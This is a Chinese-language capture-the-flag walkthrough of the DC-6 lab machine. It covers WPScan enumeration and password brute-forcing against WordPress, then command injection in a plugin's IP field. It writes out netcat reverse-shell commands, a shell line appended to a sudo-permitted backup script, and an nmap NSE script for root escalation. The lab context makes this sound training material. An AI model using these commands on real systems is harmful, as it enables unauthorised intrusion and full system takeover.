目录
前期准备
一、渗透测试
1.IP地址查询
2.端口信息搜寻
3.网页信息搜集
wappalyzer
WPScan
反弹shell
graham用户
反弹出jens的shell
nmap提权
二、总结
前期准备
攻击机: kali windows11
靶机:DC-6靶机(调至NAT模式)
一、渗透测试
1.IP地址查询
┌──(root㉿kali)-[~]
└─# arp-scan -l
通过比较MAC地址,可以得到靶机的IP地址为 192.168.105.164
2.端口信息搜寻
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.164
可以看到又开了SSH,后面应该又要登录
3.网页信息搜集
访问靶机的80端口
看起来又被重定向掉了?还记得之前打靶机的经验,尝试去改hosts文件
到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打开)
保存下网页就能够正常访问了
wappalyzer
WPScan
看到一个很熟悉的cms——WordPress,这是我们之前打过的一个cms,并且还记得相应的工具WPScan。直接上网上搜,发现了WordPress 5.1.1 的漏洞。边看看网页边用dirseach扫一下目录。但是由于我们是在windows的hosts文件中改的重定向,而用wpscan扫网站时用的是kali,所以还应该将kali中的hosts文件修改一下,在 /etc/hosts
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy -e u
成功扫出来了一些账号名(保存为user.txt)然后尤其关注登录页面
以及用dirsearch扫出来一些目录
先尝试到登录界面去 /wp-login.php
这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试
成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破
┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt
可惜这样并不能够爆破成功,密码没匹配上。。。看了别的师傅的wp才知道官网给了密码的提示
提示我们用kali中的字典并匹配含k01这样的密码,在该目录下
发现rockyou还是个压缩包,先解压得到rockyou.txt文件
┌──(root㉿kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d
先回到dc-6目录,根据官网提示给的命令得到密码字典
┌──(root㉿kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt
然后再用wpscan进行爆破
┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt
最终只得到了一个账号: mark helpdesk01 直接登录!
好的,现在想一下如何getshell(用mark直接ssh登录发现是不行的,权限不够)getshell可以通过命令执行弹一个shell,或者是得到别的账户密码再次尝试SSH
(1)首先可以去看看网页的功能,对一些可能的功能点进行测试
(2)可以看看WordPress 5.1.1 的历史漏洞,看看是否能够被利用
首先还是来看看WordPress 5.1.1 的漏洞,主要流传的是CSRF-to-RCE的那个漏洞
但看起来并不能够用于该靶机,只能在网页上找功能点了,而且一般来说,找的应该是插件的漏洞了,看看这里有哪几个插件
主要是这两个插件, 看看有没有什么历史漏洞?
可以看到百度上成功搜到了 Activity Monitor的历史漏洞,复现一下看看
这个地方看可以输入IP,和以前遇到的CTF题有点像,当我输入127.0.0.1 | ls -l 时,发现不能输入了,这里应该是有长度限制,看看是不是前端的长度限制
尝试只修改前端的检查试试,将其改为100
可以看到命令直接执行了,接下来弹个shell
反弹shell
现在kali上打开监听
nc -lvp 5555
然后在IP处输入
127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash
点击执行就成功getshell了
然后用python开启交互式终端
python -c "import pty;pty.spawn('/bin/bash')"
再就是到提权了,先试试以往的提权方法
www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
然后直接问AI “请问哪些可以用于suid漏洞提权” 但是看起来都不能利用,再试试 sudo -l,显示需要输入密码,这个密码也暂时是不知道的,只能再去看看别的一些用户了,去home目录下
www-data@dc-6:/home$ ls
ls
graham jens mark sarah
看看各个用户下面有什么,说不定就有旧密码可以用于爆破
www-data@dc-6:/home/jens$ ls
ls
backups.sh
有到一个shell执行程序,看看是用来干嘛的
www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
专门是用于解压 /var/www/html下的 backups.tar.gz的(看起来就是打包网站的),先放这里,继续看mark目录下的stuff
www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
这里写了一系列的事项(类似于一个flag)
恢复超空间驱动器的全部功能(需要和jens聊聊)
为sarah的告别派对买礼物
加新用户:graham - 密码为 GSo7isUM1D4 - 已完成
申请 OSCP 课程
为接替sarah工作的人买一台新笔记本电脑
此外在sarah目录下并没有找到文件,但是事项中毕竟给了graham的密码,另开一个终端,看看ssh能不能登录上
graham用户
成功登录上,看看graham能否提权
graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
此时输入 sudo -l 就有反应了,用到的就是之前看到的那个执行程序(若想要无密码执行这个文件,需要用jens的身份), 先想想需要用这个程序干什么,再想想怎么用。这个程序最多让我们获得jens的shell,既然这样的话,不妨尝试通过这个程序登上jens的账户。尝试写入反弹shell
反弹出jens的shell
graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh
再打开kali的监听
┌──(root㉿kali)-[~]
└─# nc -lvp 5556
然后用jens的身份运行该文件
graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
此时就成功获得jens用户的shell了,此时再看jens用户能不能提权
jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
看到这里有nmap,并且也是免密码运行的
jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22 2016 nmap
发现是root权限的,那就直接拿nmap来试试提权了,去百度搜索有关nmap的提权方式,发现有两种
nmap提权
(1)低版本的nmap提权: 利用nmap的--interactive 进入交互式命令行执行,然后执行!/bin/bash就行
(2)高版本的nmap提权:首先将提权命令写入脚本中,利用--script执行脚本
echo "os.execute('/bin/bash')" > get_root.nse
sudo nmap --script=get_root
这里应该就是用第二种了
jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh backups.tar.gz get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')
成功写入,接下来运行
jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nse
Starting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#
成功提权到root!
root@dc-6:~# cat theflag.txt
Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)
Congratulations!!!
Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
二、总结
(1)本次学习了nmap的提权方式,并且温习了下WPScan的用法,相比于主动去找插件的漏洞,感觉WPScan应该也能扫出来(感觉)